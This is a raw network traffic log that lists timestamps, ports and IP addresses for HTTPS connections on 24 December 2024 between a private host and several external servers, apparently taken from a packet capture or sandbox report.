Dec 24, 2024 19:27:59.862170935 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.862227917 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.862235069 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.876602888 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.876657009 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.876667023 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.893337011 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.893398046 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.893409967 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.909879923 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.910074949 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.910083055 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.924166918 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.924222946 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.924252033 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.939105988 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.939203024 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.939233065 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.951997995 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.952059031 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.952088118 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.974894047 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.974951982 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.974977970 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.986670017 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.986794949 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.986824989 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.008596897 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.008660078 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.008680105 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.011502981 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.011560917 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.011568069 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.015742064 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.015796900 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.015804052 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.024539948 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.024601936 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.024607897 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.035552979 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.035608053 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.035614014 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.043720961 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.043775082 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.043782949 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.053143978 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.053236008 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.053242922 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.063776970 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.063838005 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.063844919 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.072000027 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.072060108 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.072067022 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.081504107 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.081573009 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.081582069 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.090965986 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.091026068 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.091054916 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.100505114 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.100595951 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.100609064 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.110342979 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.110415936 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.110435009 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.119522095 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.119596958 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.119597912 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.119611979 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.119657040 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.129031897 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.138566017 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.138628960 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.138637066 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.151684999 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.151746035 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.151752949 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.157696009 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.157799006 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.157870054 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.157876968 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.158159971 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.167222977 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.182390928 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.182573080 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.182601929 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.185436964 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.185497046 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.185506105 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.190382004 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.190435886 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.190443993 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.195943117 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.196006060 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.196013927 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.201371908 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.201433897 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.201441050 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.206727028 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.206777096 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.206783056 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.212387085 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.212452888 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.212460041 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.219702005 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.219753027 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.219759941 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.226141930 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.226196051 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.226202965 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.228219032 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.228271008 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.228276014 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.235557079 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.235610008 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.235616922 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.238519907 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.238584995 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.238599062 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.238607883 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.238645077 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.238773108 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.238838911 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.239108086 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:00.239118099 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:28:00.239131927 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:01.141239882 CET	49874	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:01.141346931 CET	443	49874	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:01.141443968 CET	49874	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:01.141721964 CET	49874	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:01.141751051 CET	443	49874	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:02.308024883 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:02.308085918 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:02.308141947 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:02.308567047 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:02.308584929 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:02.341577053 CET	49855	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:28:02.540991068 CET	443	49874	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:02.541126013 CET	49874	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:02.541474104 CET	49874	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:02.541507006 CET	443	49874	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:02.543368101 CET	49874	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:02.543392897 CET	443	49874	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.601835012 CET	443	49874	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.601922989 CET	49874	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.601942062 CET	443	49874	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.601984978 CET	49874	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.602818966 CET	49874	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.602845907 CET	443	49874	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.706577063 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.706712961 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.707182884 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.707187891 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.708988905 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.708993912 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.709031105 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.709038973 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.709088087 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.709091902 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.709127903 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.709144115 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.709336042 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.709568024 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.709743977 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.709749937 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.709808111 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.709827900 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.709847927 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.709930897 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.709975958 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.709989071 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.710103035 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.710125923 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.710249901 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.710270882 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:03.722459078 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:03.722470045 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:04.333965063 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:04.334003925 CET	443	49884	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:04.334072113 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:04.336810112 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:04.336832047 CET	443	49884	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:05.562937975 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:05.563016891 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:05.563060045 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:05.563113928 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:05.563983917 CET	49877	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:05.564009905 CET	443	49877	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:05.772824049 CET	443	49884	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:05.772927046 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:05.773542881 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:05.773554087 CET	443	49884	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:05.775196075 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:05.775199890 CET	443	49884	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:05.775320053 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:05.775330067 CET	443	49884	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:05.775497913 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:05.775512934 CET	443	49884	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:05.775583982 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:05.775590897 CET	443	49884	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:06.366007090 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:06.366071939 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:06.366285086 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:06.366349936 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:06.366358042 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.261944056 CET	443	49884	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.262048960 CET	443	49884	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.262095928 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.262130022 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.268760920 CET	49884	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.268783092 CET	443	49884	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.377913952 CET	49893	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.377969027 CET	443	49893	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.378053904 CET	49893	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.378374100 CET	49893	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.378385067 CET	443	49893	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.766838074 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.772878885 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.773365021 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.773382902 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.774960995 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.774969101 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.775024891 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775034904 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.775063038 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775068998 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.775122881 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775130033 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.775147915 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775152922 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.775188923 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775192976 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.775213957 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775247097 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.775257111 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775278091 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775330067 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775330067 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.775330067 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775343895 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775480032 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775480032 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775552988 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.775711060 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.775727987 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775798082 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:07.775859118 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:07.776108027 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:08.784292936 CET	443	49893	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:08.784374952 CET	49893	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:08.786242008 CET	49893	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:08.786262989 CET	443	49893	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:08.788392067 CET	49893	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:08.788399935 CET	443	49893	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:09.558983088 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:09.559053898 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:09.559067011 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:09.559108973 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:09.571753979 CET	49890	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:09.571798086 CET	443	49890	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:09.852463961 CET	443	49893	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:09.852541924 CET	443	49893	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:09.852648973 CET	49893	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:10.198450089 CET	49893	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:10.198479891 CET	443	49893	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:22.077516079 CET	49936	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:22.077538967 CET	443	49936	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:22.077909946 CET	49936	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:22.078510046 CET	49936	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:22.078528881 CET	443	49936	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:24.306322098 CET	443	49936	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:24.306428909 CET	49936	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:24.308196068 CET	49936	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:24.308202982 CET	443	49936	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:24.308448076 CET	443	49936	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:24.312212944 CET	49936	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:24.312272072 CET	49936	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:24.312275887 CET	443	49936	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:24.312485933 CET	49936	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:24.355372906 CET	443	49936	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:24.668030024 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:24.668066978 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:24.668132067 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:24.668536901 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:24.668548107 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:24.978656054 CET	443	49936	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:24.979036093 CET	49936	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:24.979046106 CET	443	49936	20.198.119.84	192.168.2.6
Dec 24, 2024 19:28:24.979058981 CET	49936	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:24.979096889 CET	49936	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:28:26.160649061 CET	49960	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.160687923 CET	443	49960	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.160773993 CET	49960	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.166820049 CET	49960	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.166836977 CET	443	49960	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.167510986 CET	49961	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:26.167536974 CET	443	49961	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:26.167711973 CET	49961	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:26.167933941 CET	49961	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:26.167957067 CET	443	49961	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:26.172317982 CET	49962	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.172338963 CET	443	49962	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.172491074 CET	49962	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.173182011 CET	49962	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.173196077 CET	443	49962	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.567195892 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:26.571810007 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:26.571827888 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:26.572443008 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:26.572464943 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:26.572504044 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:26.572511911 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:26.572540045 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:26.572555065 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:26.573458910 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:26.574884892 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:26.574991941 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:26.575140953 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:26.575148106 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:26.762526035 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:26.777811050 CET	49962	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.778552055 CET	49968	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.778584003 CET	443	49968	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.778707027 CET	49968	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.778883934 CET	49968	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.778911114 CET	443	49968	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.779460907 CET	49960	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.779804945 CET	49969	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.779850006 CET	443	49969	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.779968023 CET	49969	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.780272961 CET	49969	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.780294895 CET	443	49969	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.781284094 CET	49961	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:26.782162905 CET	49972	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:26.782181978 CET	443	49972	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:26.782260895 CET	49972	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:26.783101082 CET	49972	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:26.783111095 CET	443	49972	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:26.823343992 CET	443	49962	162.159.61.3	192.168.2.6
